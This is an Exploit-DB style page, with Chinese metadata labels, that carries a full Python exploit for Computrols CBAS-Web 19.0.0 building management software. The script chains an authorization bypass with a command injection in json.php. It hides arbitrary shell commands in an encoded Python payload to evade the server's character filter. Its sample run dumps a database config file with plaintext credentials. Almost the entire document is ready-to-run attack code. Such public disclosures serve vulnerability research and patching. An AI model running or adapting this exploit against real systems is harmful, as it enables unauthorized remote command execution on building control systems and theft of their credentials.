CBAS-Web 19.0.0 – Remote Code Execution

  • 作者: LiquidWorm
    日期: 2019-11-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47627/
  • # Exploit Title: CBAS-Web 19.0.0 - Remote Code Execution
    # Google Dork: NA
    # Date: 2019-11-11
    # Exploit Author: LiquidWorm
    # Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
    # Software Link: https://www.computrols.com/building-automation-software/
    # Version: 19.0.0
    # Tested on: NA
    # CVE : N/A
    # Advisory: https://applied-risk.com/resources/ar-2019-009
    # Paper: https://applied-risk.com/resources/i-own-your-building-management-system
    
    #!/usr/bin/env python
    
    '''
    Computrols CBAS-Web Unauthenticated Remote Command Injection Exploit
    Affected versions: 19.0.0 and below
    by Sipke Mellema, 2019
    
    
    Uses two vulnerabilities for executing commands:
    - An authorization bypass in the auth module (CVE-2019-10853)
    - A code execution vulnerability in the json.php endpoint (CVE-2019-10854)
    
    Example usage: 
    $ python CBASWeb_19_rce.py 192.168.1.250 "cat /var/www/cbas-19.0.0/includes/db.php"
    ------------==[CBAS Web v19 Remote Command Injection
    
    [*] URL: http://192.168.1.250/
    [*] Executing: cat /var/www/cbas-19.0.0/includes/db.php
    [*] Cookie is authenticated
    [*] Creating Python payload..
    [*] Sending Python payload..
    [*] Server says:
    <?php
    // Base functions for database access
    // Expects a number of constants to be set.Set settings.php
    
    // Only allow local access to the database for security purposes
    if(defined('WINDOWS') && WINDOWS){
    define('MYSQL_HOST', '192.168.1.2');
    define('DB_USER', 'wauser');
    define('DB_PASS', 'wapwstandard');
    /*define('DB_USER', 'root');
    define('DB_PASS', 'souper secrit');*/
    ...
    
    '''
    
    import requests
    import sys
    import base64 as b
    import json
    
    
    def debug_print(msg, level=0):
    if level == 0:
    print "[*] %s" % msg
    if level == 1:
    print "[-] %s" % msg
    
    # Check parameters
    if len(sys.argv) < 3:
    print "Missing target parameter\n\n\tUsage: %s <IP or hostname> \"<cmd>\"" % __file__
    exit(0)
    
    print "------------==[CBAS Web v18 Remote Command Injection\n"
    
    # Set host, cookie and URL
    host = sys.argv[1]
    cookies = {'PHPSESSID': 'comparemetoasummersday'}
    url = "http://%s/" % host
    
    debug_print("URL: %s" % url)
    
    # Command to execute
    # Only use single quotes in cmd pls
    icmd = sys.argv[2]
    if '"' in icmd:
    debug_print("Please don't use double quotes in your command string", level = 1)
    exit(0)
    
    debug_print("Executing: %s" % icmd)
    
    # URL for performing auth bypass by setting the auth cookie flag to true
    auth_bypass_req = "cbas/index.php?m=auth&a=agg_post&code=test"
    # URL for removing auth flag from cookie (for clean-up)
    logout_sess_req = "cbas/index.php?m=auth&a=logout"
    # URL for command injection and session validity checking
    json_checks_req = "cbas/json.php"
    
    # Perform logout
    def do_logout():
    requests.get(url + logout_sess_req, cookies = cookies)
    
    # Check if out cookie has the authentication flag
    def has_auth():
    ret = requests.get(url + json_checks_req, cookies = cookies)
    if ret.text == "Access Forbidden":
    return False
    return True
    
    # Set auth flag on cookie
    def set_auth():
    requests.get(url + auth_bypass_req, cookies = cookies)
    
    # =======================================================
    
    # Perform auth bypass if not authenticated yet
    if not has_auth():
    debug_print("Cookie not yet authenticated")
    debug_print("Setting auth flag on cookie via auth bypass..")
    set_auth()
    
    # Check if bypass failed
    if not has_auth():
    debug_print("Was not able to perform authorization bypass :(")
    debug_print("Exploit failed, quitting..", level = 1)
    exit(0)
    
    else:
    debug_print("Cookie is authenticated")
    debug_print("Creating Python payload..")
    
    # Payload has to be encoded because the server uses the following filtering in exectools.php:
    # $bad = array("..", "\\", "&", "|", ";", '/', '>', '<');
    # So no slashes, etc. This means only two "'layers' of quotes"
    
    # Create python code exec code
    cmd_python = 'import os; os.system("%s")' % icmd
    # Convert to Python array
    cmd_array_string = str([ord(x) for x in cmd_python])
    # Create command injection string
    p_unencoded = "DispatchHistoryQuery\t-i \"$(python -c 'exec(chr(0)[0:0].join([chr(x) for x in %s]))')\"" % cmd_array_string
    # Base64 encode for p parameter
    p_encoded = b.b64encode(p_unencoded)
    
    # Execute command
    debug_print("Sending Python payload..")
    ret = requests.post(url + json_checks_req, cookies = cookies, data = {'p': p_encoded})
    
    # Parse result
    ret_parsed = json.loads(ret.text)
    try:
    metadata = ret_parsed["metadata"]
    identifier = metadata["identifier"]
    
    debug_print("Server says:")
    print identifier
    
    # JSON Parsing error
    except:
    debug_print("Error parsing result from server :(", level = 1)
    
    # Uncomment if you want the cookie to be removed after use
    # debug_print("Logging out")
    # do_logout()